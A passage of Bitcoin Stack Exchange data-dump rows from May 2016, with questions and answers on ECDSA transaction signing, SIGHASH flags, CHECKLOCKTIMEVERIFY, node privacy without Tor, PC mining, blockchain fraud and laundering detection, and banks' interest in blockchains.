  <row Id="44077" PostTypeId="2" ParentId="44071" CreationDate="2016-05-12T05:06:13.110" Score="1" Body="&lt;p&gt;In the &amp;quot;Amount (BTC)&amp;quot; column on the right side of your window, a &lt;strong&gt;red number&lt;/strong&gt; means money that you are sending out, and a &lt;strong&gt;black number&lt;/strong&gt; means money that you are receiving in.&lt;/p&gt;&#xA;&lt;p&gt;(The second row should have the amount in red too, but it is in black merely because the row is highlighted/selected with the cursor.)&lt;/p&gt;&#xA;&lt;p&gt;The transaction pictured in the screenshot is indeed confirmed: txhash &lt;a href=&quot;https://www.blockchain.com/btc/tx/90d43acff8c70d8ad2e8d09a6457b76caafc521501d71b573e9927939df8978c&quot; rel=&quot;nofollow noreferrer&quot;&gt;90d43acff8c70d8ad2e8d09a6457b76caafc521501d71b573e9927939df8978c&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="23340" LastEditorUserId="23340" LastEditDate="2022-03-14T17:17:40.813" LastActivityDate="2022-03-14T17:17:40.813" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="44078" PostTypeId="1" CreationDate="2016-05-12T06:21:26.803" Score="0" ViewCount="636" Body="&lt;p&gt;I was reading about the math behind bitcoins in this &lt;a href=&quot;http://www.coindesk.com/math-behind-bitcoin/&quot; rel=&quot;nofollow&quot;&gt;article&lt;/a&gt;, and one thing I can't seem to wrap my head around is how the said algorithm is used to sign &quot;data&quot;. What exactly is this &quot;data&quot;? Is it my bitcoin? If so, how exactly is a bitcoin represented in terms of data? Say I have 5 bitcoins in my Coinbase wallet that I want to send my friend. How would that translate to the whole &quot;gaining the private key and signing your data with it&quot; process as described in the article?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry if this is too novice a question, I'm new to cryptography concepts. Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="35566" LastEditorUserId="5406" LastEditDate="2016-05-12T15:59:49.353" LastActivityDate="2016-05-12T15:59:49.353" Title="Signing data with ECDSA" Tags="|private-key|signature|cryptography|ecdsa|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44080" PostTypeId="2" ParentId="44078" CreationDate="2016-05-12T08:12:03.317" Score="1" Body="&lt;p&gt;Every Bitcoin in existence today exists as an unspent transaction output (UTXO) on the Bitcoin blockchain. That is, the output of an existing confirmed transaction that has not yet been consumed as the input of some other transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coinbase has a collection of UTXOs that represent the Bitcoins that they hold. When you tell Coinbase to make a Bitcoin payment to someone from your wallet, they choose one or more of those UTXOs to make the payment with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They then form a chunk of data that claims those UTXOs and creates a new UTXO giving the Bitcoins to the recipient and one giving any change back to them. It's that chunk of data that they sign with the key for each UTXO they are spending with that payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the transaction is confirmed, the new UTXO for the recipient is the Bitcoins you sent them. When they see that UTXO appear on the blockchain, they know you paid them. They can then form a transaction that spends that UTXO to transfer those Bitcoins to someone else.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2016-05-12T08:12:03.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44082" PostTypeId="1" AcceptedAnswerId="44087" CreationDate="2016-05-12T09:05:56.580" Score="1" ViewCount="107" Body="&lt;p&gt;I'd like to know the addresses used for a fraud, in order to make a service for analysing bitcoin blockchain. If you know the service for that, could you tell me it?&lt;/p&gt;&#xA;" OwnerUserId="24693" LastEditorUserId="5406" LastEditDate="2016-05-30T07:25:50.733" LastActivityDate="2016-05-30T07:25:50.733" Title="Are there any services to tell black list address?" Tags="|fraud|taint-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44083" PostTypeId="1" CreationDate="2016-05-12T10:24:19.653" Score="0" ViewCount="315" Body="&lt;p&gt;I use the Windows Store app mining program. Will it harm my computer if I'm using the following specs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Intel i5 3.2Ghz&#xA;NVIVIDA GeForce 730&#xA;8GB RAM&#xA;2TB Hard Drive&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advanced! &lt;/p&gt;&#xA;" OwnerUserId="35572" LastActivityDate="2016-05-12T12:17:00.690" Title="Can Bitcoin mining with my current specs break my PC?" Tags="|mining-hardware|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="44085" PostTypeId="2" ParentId="44083" CreationDate="2016-05-12T11:24:19.310" Score="0" Body="&lt;p&gt;It won't break it, it will just go slower and consume more electricity. But you will get no Bitcoin at all. Mining with personal computers has been pointless for years. It is an ASICs game, I'm sorry. &lt;/p&gt;&#xA;" OwnerUserId="35326" LastActivityDate="2016-05-12T11:24:19.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44087" PostTypeId="2" ParentId="44082" CreationDate="2016-05-12T11:52:42.740" Score="3" Body="&lt;p&gt;No and active work is being done to make this even harder as we speak. &lt;a href=&quot;https://en.wikipedia.org/wiki/Fungibility&quot; rel=&quot;nofollow&quot;&gt;Fungibility&lt;/a&gt; is a necessity of a currency, black lists are not compatible with that.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2016-05-12T11:52:42.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44088" PostTypeId="2" ParentId="44083" CreationDate="2016-05-12T12:17:00.690" Score="2" Body="&lt;p&gt;I have no idea what &quot;Windows Store app mining&quot; is, but it may very well be a scam and malware, as it makes absolutely no sense whatsoever to mine Bitcoin on a PC. Malware can harm you and your computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's not malware, it will run your PC hot, causing more ware and tear and thus harming your PC by causing premature breaking of parts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If nothing else, it will harm your wallet, as you'll be paying an increased electricity bill, while getting nothing in return.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short: just uninstall whatever that thing is and check for malware some more. If you want to learn about real Bitcoin mining, you'll have to read up on the subject some more first.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2016-05-12T12:17:00.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44089" PostTypeId="1" CreationDate="2016-05-12T13:21:33.810" Score="1" ViewCount="830" Body="&lt;p&gt;Can someone help me out in understanding the System Requirements and dependencies required for setting up a development environment for Bitcoin Core?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What else is required apart from the Bitcoin Core source?&lt;/p&gt;&#xA;" OwnerUserId="35573" LastEditorUserId="5292" LastEditDate="2016-05-12T13:53:31.913" LastActivityDate="2018-02-13T02:48:54.657" Title="Development environment requirements for Bitcoin Core" Tags="|bitcoin-core-development|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="44091" PostTypeId="2" ParentId="44078" CreationDate="2016-05-12T15:42:20.663" Score="1" Body="&lt;p&gt;A &lt;code&gt;coin&lt;/code&gt; is described by 3 things. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The outpoint: the &lt;code&gt;txid&lt;/code&gt; and output index in the creating transaction. Explicitly identifies coins being spent &lt;/li&gt;&#xA;&lt;li&gt;The amount&lt;/li&gt;&#xA;&lt;li&gt;The scriptPubKey&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To spend a coin, you create a transaction specifying the outpoint as an input. You specify some destinations (known as outputs). The &lt;code&gt;scriptPubKey&lt;/code&gt; often requires you to provide a signature authenticating the spend. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ECDSA specifies to take &lt;code&gt;h = H(m) mod n&lt;/code&gt;, where H(m) is a hashing algorithm, and use this data to calculate a signature by a private key. Your question is, what is &lt;code&gt;m&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;m&lt;/code&gt; (the data being signed) is a transaction serialized according to SIGHASH flags which determine what parts are committed to in the signature. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;SIGHASH_ALL commits the entire transaction as 'data', so if any of that data changes (someone adds an input, or changes a destination), the signature is rendered invalid. &lt;/li&gt;&#xA;&lt;li&gt;SIGHASH_NONE captures everything &lt;em&gt;but&lt;/em&gt; the outputs (the output index is resized to zero). This ensures the signature is valid so long as the inputs remain the same. The outputs can be changed at will. &lt;/li&gt;&#xA;&lt;li&gt;SIGHASH_SINGLE captures an input and an output. Anything else can change without rendering the signature invalid. &lt;/li&gt;&#xA;&lt;li&gt;SIGHASH_ANYONECANPAY can be applied on top of the other sighash types. Only one input is signed (yours), and the outputs. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The SIGHASH flags are appended to the signature, which allows others to repeat the procedure done while signing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some other modifications: &#xA;  - input scripts are set to zero, since signatures can't sign themselves. &#xA;  - the &lt;code&gt;txout.scriptPubKey&lt;/code&gt; is added as the &lt;code&gt;txin.scriptSig&lt;/code&gt; for this vin (the part since the last OP_CODESEPARATOR)&#xA;  - at the very end, the &lt;code&gt;hashTypeCode&lt;/code&gt; (4-byte sighash flag) is appended&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more detail on this process, read over this page and the image: &lt;a href=&quot;https://en.bitcoin.it/wiki/OP_CHECKSIG&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/OP_CHECKSIG&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Segregated witness includes a modification to how &lt;code&gt;m&lt;/code&gt; is derived. See BIP 143: &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0143.mediawiki&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bips/blob/master/bip-0143.mediawiki&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11123" LastActivityDate="2016-05-12T15:42:20.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44092" PostTypeId="2" ParentId="41355" CreationDate="2016-05-12T15:53:59.277" Score="1" Body="&lt;p&gt;First, it should be said it's not possible to enforce which sighash flags may be used in a P2SH address. Signing is a concern for only the parties to wish to spend funds. Their intent can be captured using SIGHASH flags when signing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;OP is right, and certainly can mix SIGHASH flags in an input script. Signatures in the same script are considered separately, meaning each specifies its own SIGHASH flags. This informs validating nodes how to verify the signature, and mixing them &lt;/p&gt;&#xA;" OwnerUserId="11123" LastActivityDate="2016-05-12T15:53:59.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44093" PostTypeId="1" AcceptedAnswerId="44098" CreationDate="2016-05-12T15:56:58.420" Score="1" ViewCount="733" Body="&lt;p&gt;I'm creating a Bitcoin based lottery application. An entry into the lottery is a transaction spending 1BTC. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone guesses some arbitrary value correctly, they can claim the entry and send this 1 Btc to an address they control. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wish to have functionality as follows: if no one guesses the correct number after 100 blocks, then I can claim it as the operator of the lottery. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I do this via:&#xA;Entry transaction &#xA;  IF&#xA;     CHECKLOCKTIMEVERIFY &#xA;    payable to a correct guess&#xA;  ELSE&#xA;    Payable to my operator public key&#xA;  END&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then when I try to spend this entry transaction, I set the nLockTime to the current block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Throughout I set all the sequence numbers to 0xFFF... So that the transactions are mined. &lt;/p&gt;&#xA;" OwnerUserId="35579" LastActivityDate="2018-05-08T15:36:25.517" Title="How do I use CHECKLOCKTIMEVERIFY to prevent a transaction being spent before 100 blocks?" Tags="|development|locktime|checklocktimeverify|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44094" PostTypeId="1" CreationDate="2016-05-12T16:25:52.333" Score="5" ViewCount="872" Body="&lt;p&gt;I'm very new to bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for maybe silly or paranoid questions, but: Do I compromise myself in any ways when I first time run the official Bitcoin Core client for downloading all transactions in the world without &quot;Connect through SOCKS5 proxy&quot; option checked on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done no transactions so far, but my client was downloading all the bitcoin transactions history without using VPN or Tor (this is default setup).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it mean that my future transactions will be possible to track and link to my identity (as my IP was not anonymized during history downloading process)?&lt;/p&gt;&#xA;" OwnerUserId="35581" LastEditorUserId="5406" LastEditDate="2016-05-30T07:31:13.400" LastActivityDate="2016-05-30T07:31:13.400" Title="Does Bitcoin Core leak private information during synchronization without Tor?" Tags="|synchronization|privacy|traceability|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44095" PostTypeId="2" ParentId="44094" CreationDate="2016-05-12T16:52:24.153" Score="4" Body="&lt;p&gt;Nope, don't worry. The nodes you have connected only know that your IP address has downloaded the blockchain, but the transactions you'll make in the future won't contain information specific about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main threat to your privacy are contact points between the blockchain and real life (when you make a purchase and pay with Bitcoin, when you buy at an exchange that know who you are, when you publish an address in a forum...) because that puts your name next to an address someone could eventually follow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you make a transaction without Tor you could also compromise your privacy, but it is a long shot because nodes don't store the IP addresses that sent the transactions (and there is nothing in the blockchain either). There is still a chance because someone could modify a node to record the IP addresses and, if you connected to that node, it would record your IP address and your Bitcoin address together. By making that rogue nodes highly available they would increase the chance that you connected to them. There was at least one case of a company doing this in the past that has been discovered, but they said it was something like and experiment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to learn more about Bitcoin and privacy you can start at:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.bitcoinisnotanonymous.com&quot; rel=&quot;nofollow&quot;&gt;www.bitcoinisnotanonymous.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="35326" LastActivityDate="2016-05-12T16:52:24.153" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="44096" PostTypeId="2" ParentId="38833" CreationDate="2016-05-12T16:52:30.670" Score="1" Body="&lt;p&gt;I believe this is possible, but with a subtle difference to how OP suggests. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;OP seems to want: funds are first signed off by the multisig address, then a transaction is broadcast moving the funds to [destination]. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not possible for a destination script to stipulate where the funds can end up. A new opcode could introduce that feature, but we can do this a different way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would argue this no weaker than having a transaction between the two destinations (as OP envisioned). In either case the multisig participants could hold the funds to ransom before the end user can move them. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Multisig: 2 [pubkey1] [pubkey2] 3 CHECKMULTISIG&#xA;Destination: DUP HASH160 [hash] EQUALVERIFY CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since we cannot lock funds so they are released to a certain destination, we just merge the two scripts, allowing predefined party to take control only when the multisig is solved. He would propose a spend to the others, they sign, then he signs (it can be done in any order)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The scriptPubKey (or P2SH script) would then look like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 2 [pubkey1] [pubkey2] 3 CHECKSIG DUP HASH160 [hash] EQUALVERIFY CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the scriptSig: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; [sig1] [sig2] [sigA] [pubkeyA]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11123" LastActivityDate="2016-05-12T16:52:30.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="44097" PostTypeId="2" ParentId="44070" CreationDate="2016-05-12T16:59:47.677" Score="1" Body="&lt;p&gt;The public key doesn't matter, no coins are created in the genesis block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;nBits decides the blocks difficulty, affecting how long it will take to mine. You also have to modify your daemons code to allow this difficulty. &lt;/p&gt;&#xA;" OwnerUserId="11123" LastActivityDate="2016-05-12T16:59:47.677" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="44098" PostTypeId="2" ParentId="44093" CreationDate="2016-05-12T17:02:29.127" Score="0" Body="&lt;p&gt;Yes, you can use &lt;code&gt;OP_CHECKLOCKTIMEVERIFY&lt;/code&gt; to make a transaction output unspendable for a certain number of blocks.  However, you can't use it directly in an if-else block as you have described.  When &lt;code&gt;OP_CHECKLOCKTIMEVERIFY&lt;/code&gt; executes, it doesn't place a result value on the stack.  It either throws an error (invalidating the transaction attempting to spend the output), or continues executing as if nothing happened.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create a transaction as you describe, you will need to use multisig, such that one party can spend the transaction as soon as the correct number is provided (input to a hash function, I presume?), OR you can spend it back to yourself after the lock time expires.  This is basically how the lightning network works.  You should check out &lt;a href=&quot;https://rusty.ozlabs.org/?p=462&quot; rel=&quot;nofollow&quot;&gt;Lightning Networks Part II: Hashed Timelock Contracts (HTLCs)&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24974" LastActivityDate="2016-05-12T17:02:29.127" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="44099" PostTypeId="1" AcceptedAnswerId="44106" CreationDate="2016-05-12T17:14:44.890" Score="0" ViewCount="677" Body="&lt;p&gt;I'm wondering if it is possible to at creation of a user account also save a deposit address(blockchain.info receive payments API) which the user will always use when he/she wants to deposit coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ofcourse I know it's possible to save the deposit address with the user but will it work to always have the users always deposit to a specific address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;will it cause any problems like take the total received balance of the address all the time when the user deposits? eg: balance = balance + (total received coins + just deposited coins)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried to explain my concerns and questions to the best of my ability hopefully I can get some answers because google doesn't have any in this case.&lt;/p&gt;&#xA;" OwnerUserId="35105" LastActivityDate="2016-05-13T12:24:25.303" Title="Always the same deposit address for a user?" Tags="|api|blockchain.info|payment|payment-processors|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="44100" PostTypeId="1" AcceptedAnswerId="44297" CreationDate="2016-05-12T23:03:10.423" Score="0" ViewCount="48" Body="&lt;p&gt;I just signed up on Gemini, and I have to admit that I have no idea what I'm doing. Is there any place I can study up on how this works?&lt;/p&gt;&#xA;" OwnerUserId="35512" LastActivityDate="2016-05-23T01:11:57.313" Title="Good informational material on BTC trading? Market vs limit?" Tags="|exchanges|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="44101" PostTypeId="2" ParentId="273" CreationDate="2016-05-12T23:26:12.487" Score="8" Body="&lt;p&gt;Satoshi himself seems to be the inventor of merged mining. In his words (&lt;a href=&quot;https://bitcointalk.org/index.php?topic=1790.msg28696#msg28696&quot; rel=&quot;noreferrer&quot;&gt;bitcointalk.org&lt;/a&gt;):&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;I think it would be possible for BitDNS to be a completely separate network and separate block chain, yet share CPU power with Bitcoin.  The only overlap is to make it so miners can search for proof-of-work for both networks simultaneously.&lt;/p&gt;&#xA;&lt;p&gt;The networks wouldn't need any coordination.  Miners would subscribe to both networks in parallel.  They would scan SHA such that if they get a hit, they potentially solve both at once.  A solution may be for just one of the networks if one network has a lower difficulty.&lt;/p&gt;&#xA;&lt;p&gt;I think an external miner could call getwork on both programs and combine the work.  Maybe call Bitcoin, get work from it, hand it to BitDNS getwork to combine into a combined work.&lt;/p&gt;&#xA;&lt;p&gt;Instead of fragmentation, networks share and augment each other's total CPU power.  This would solve the problem that if there are multiple networks, they are a danger to each other if the available CPU power gangs up on one.  Instead, all networks in the world would share combined CPU power, increasing the total strength.  It would make it easier for small networks to get started by tapping into a ready base of miners.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="35586" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2016-05-12T23:26:12.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44102" PostTypeId="1" CreationDate="2016-05-13T02:25:06.257" Score="9" ViewCount="1149" Body="&lt;p&gt;Apparently &lt;a href=&quot;http://www.techworld.com/picture-gallery/e-commerce/bitcoin-beyond-how-banks-are-investing-in-blockchain-technology-3625324/&quot; rel=&quot;noreferrer&quot;&gt;banks&lt;/a&gt; and other centrialized entities are interested in block chain technology. My question is, why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The whole point of block chains is for &lt;em&gt;decentralized, trustless, consensus&lt;/em&gt;. Bitcoin, for example, uses Blockchain to reach consensus on who has how much money and which transactions have happened. It is trustless, because participants don't need much trust in each other: the system protects against fraud.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, why would centralized entities care? Block chains are rather inefficient way to reach consensus when there is only one participant. It's like attaching wings to a hot air balloon.&lt;/p&gt;&#xA;" OwnerUserId="35107" LastEditorUserId="5406" LastEditDate="2016-05-30T07:39:26.517" LastActivityDate="2017-02-24T04:26:34.413" Title="Why are banks and other centralized entities interested in block chains?" Tags="|banks|decentralization|consensus|private-blockchains|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44103" PostTypeId="1" AcceptedAnswerId="44107" CreationDate="2016-05-13T03:45:58.417" Score="0" ViewCount="187" Body="&lt;p&gt;I’d like to analyse bitcoin blockchain in order to detect addresses used for fraud, like money laundering. Since I cannot get any addresses info that was really used for fraud, I need to analyse which kind of address have tendency to be used for fraud.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I’m just wondering which parameters I should use. I’ve tried to use period of transactions and average of transactions’ amount, but it seemed not to make sense. If you have any idea, could you teach that?&lt;/p&gt;&#xA;" OwnerUserId="24693" LastEditorUserId="5406" LastEditDate="2016-05-30T07:40:18.130" LastActivityDate="2016-05-30T07:40:18.130" Title="Which data should be used in order to detect addresses to be used for fraud?" Tags="|fraud|data-security|money-laundering|taint-analysis|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="44104" PostTypeId="2" ParentId="41366" CreationDate="2016-05-13T06:45:40.523" Score="-2" Body="&lt;p&gt;Circle.com Is a great place to buy bitcoin via credit card&lt;/p&gt;&#xA;" OwnerUserId="35599" LastActivityDate="2016-05-13T06:45:40.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44106" PostTypeId="2" ParentId="44099" CreationDate="2016-05-13T12:24:25.303" Score="0" Body="&lt;p&gt;The bc.info receive paments API will NOT work if you reuse addresses. The funds will still be yours since the addresses are hierarchical deterministic, but the callback notification will not fire. Your site will not know when a new deposit has been made unless you check manually. I suppose you could create a &quot;refresh my balance&quot; button for your users, but you'd need to put some restrictions on how often they can click so you don't exceed API request limits.&lt;/p&gt;&#xA;" OwnerUserId="26873" LastActivityDate="2016-05-13T12:24:25.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44107" PostTypeId="2" ParentId="44103" CreationDate="2016-05-13T14:31:22.587" Score="3" Body="&lt;p&gt;Fraud and money laundering are two different things.  Fraud, or accepting or spending money under false pretenses, would be very difficult to detect on the blockchain because it requires outside knowledge.  The way banks detect fraud is by using the context of what was purchased, and where.  The blockchain doesn't contain that information, so supplemental data would be required for detection.  Most fraud would appear identical to legitimate transactions on the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Money laundering, however, can be detected...just not very well.  Mixing services are what you'd have to look for, since they would be the most obvious way to obfuscate the origin of some bitcoin. These could be detected by looking for chains of transactions with large numbers of inputs and outputs that are then spent shortly thereafter by other transactions with large numbers of inputs and outputs.  Mixing services generally tumble and mix coins together like this for several hours before they finally come to rest in a UTXO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there are several problems to this approach.  First, mixing services are not exclusively used by criminals...not by a longshot.  Many people use them simply so that whomever paid them bitcoin can't later look up how they spent it.  Second, there are many other types of services that will have a very similar pattern on the blockchain.  Payment processors, exchanges, and web wallets all bundle inputs and outputs together in order to minimize transaction fees.  They all create similar-looking chains of transactions.  Trying to detect money laundering in this fashion will result in a rather hefty &lt;a href=&quot;https://en.wikipedia.org/wiki/False_positive_paradox&quot; rel=&quot;nofollow&quot;&gt;paradox of the false positives&lt;/a&gt;, meaning it will be difficult for you to derive accurate conclusions from your findings.&lt;/p&gt;&#xA;" OwnerUserId="24974" LastActivityDate="2016-05-13T14:31:22.587" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="44108" PostTypeId="2" ParentId="44102" CreationDate="2016-05-13T15:12:56.990" Score="8" Body="&lt;p&gt;Speaking as someone who has worked on a blockchain project for a bank, I can tell you that banks are interested for several reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Banks know they are ripe for disruption&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to a combination of heavy regulation and incumbency (mixed with a variable level of collusion), banks have remained relatively protected from the technological disruption that has been occurring in every other industry.  This can't last, and banks know it.  They are trying to get out in front of whatever technology might disrupt them, and they have enough money to throw around while investigating.  As a result, banks are spending a lot of time and money exploring the possibilities of blockchain technologies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Banks want to reduce their transaction fees&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Customers of banks are not the only ones who have to pay transaction fees.  Banks, themselves, are charged for moving money around, and are always looking for a way to reduce their costs.  If they can get together and reduce their fees by creating something like the &lt;a href=&quot;https://en.wikipedia.org/wiki/R3_(company)&quot; rel=&quot;noreferrer&quot;&gt;R3 Consortium&lt;/a&gt;, then they will do so.  Currently, these banks would all have to transfer money to each other over ACH, Fedwire, SWIFT, or some other legacy network.  This incurs fees and counter-party risk.  If the general public can use a blockchain to remove counter-parties, why shouldn't banks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Blockchain solutions offer faster transactions than the current infrastructure allows&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The project I worked on for a bank was implementing a private blockchain for supply chain financing.  Sending money internationally to pay for manufactured goods and parts has always been a hassle, even for the banks.  There is a lots of risk involved, and delivery of product is often held up by archaic money transfers.  If banks can reduce this time and risk by way of a private blockchain, then factories and suppliers can get paid sooner, and goods can be delivered in a more timely fashion.  This is very appealing to the customers of a bank who are doing business around the world, and even to the bank itself.  Suppliers offer discounts for faster payments, called &lt;a href=&quot;http://primerevenue.com/what-is-dynamic-discounting/&quot; rel=&quot;noreferrer&quot;&gt;dynamic discounting&lt;/a&gt;.  By using a faster payment solution, banks can lend credit to the purchaser, obtain the goods for the discount, and split the difference with their customer.  The supplier gets paid sooner, the customer gets their goods for cheaper, and the bank gets to charge a larger fee than the otherwise would have.  It's a 3-way win.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Blockchains offer a better solution to traditional bookkeeping and auditing&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bank can be thought of as a big ledger of whom owes how much money to whom.  When money is transferred between banks and other financial institutions, what is really happening is that both institutions update both of their ledgers to show that recipient owes a little more, or the sender owes a little less.  These are two separate ledgers, and banks have entire departments that keep track of them and audit them, making sure they are in sync.  That costs money and takes time.  A blockchain can also be thought of as a big ledger.  Banks are curious if blockchains can replace the large amount of work that has always been done to keep these records updated and correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Blockchains offer a reduction in fraud&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably the number one thing banks have been worried about in recent years is fraud.  Fraud has been the fastest growing crime since the turn of the millennium, and banks are often left picking up the tab.  When Target and Home Depot had their point of sale systems compromised, and millions of customers had their credit and debit cards stolen, it was the banks that had to pay the brunt of it.  They not only had to incur the costs of the fraud, itself (along with the merchants), but also the costs to re-issue cards to millions of customers.  Banks are interested in &lt;em&gt;any&lt;/em&gt; technology that promises to reduce fraud, and blockchains get suggested often.  Just how the banks plan to use blockchains to reduce fraud, I don't know, but I can assure you that they are going to try to find a way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Conclusions&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My personal opinion is that private blockchains offer a lot less than a public blockchain such as Bitcoin does.  However, they still have many use cases within the world of traditional banking.  Because the technology, and Bitcoin, have the potential to be very disruptive, banks are becoming acquainted with it as an act of preparation for the future.  Bitcoin suffers from an image problem, as well as having many unanswered questions in the realm of traditional financial regulation.  Private blockchains offer banks the opportunity to &quot;dip their toes in the water&quot; without the risk of running afoul of regulators.&lt;/p&gt;&#xA;" OwnerUserId="24974" LastEditorUserId="18196" LastEditDate="2016-05-14T11:11:20.987" LastActivityDate="2016-05-14T11:11:20.987" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
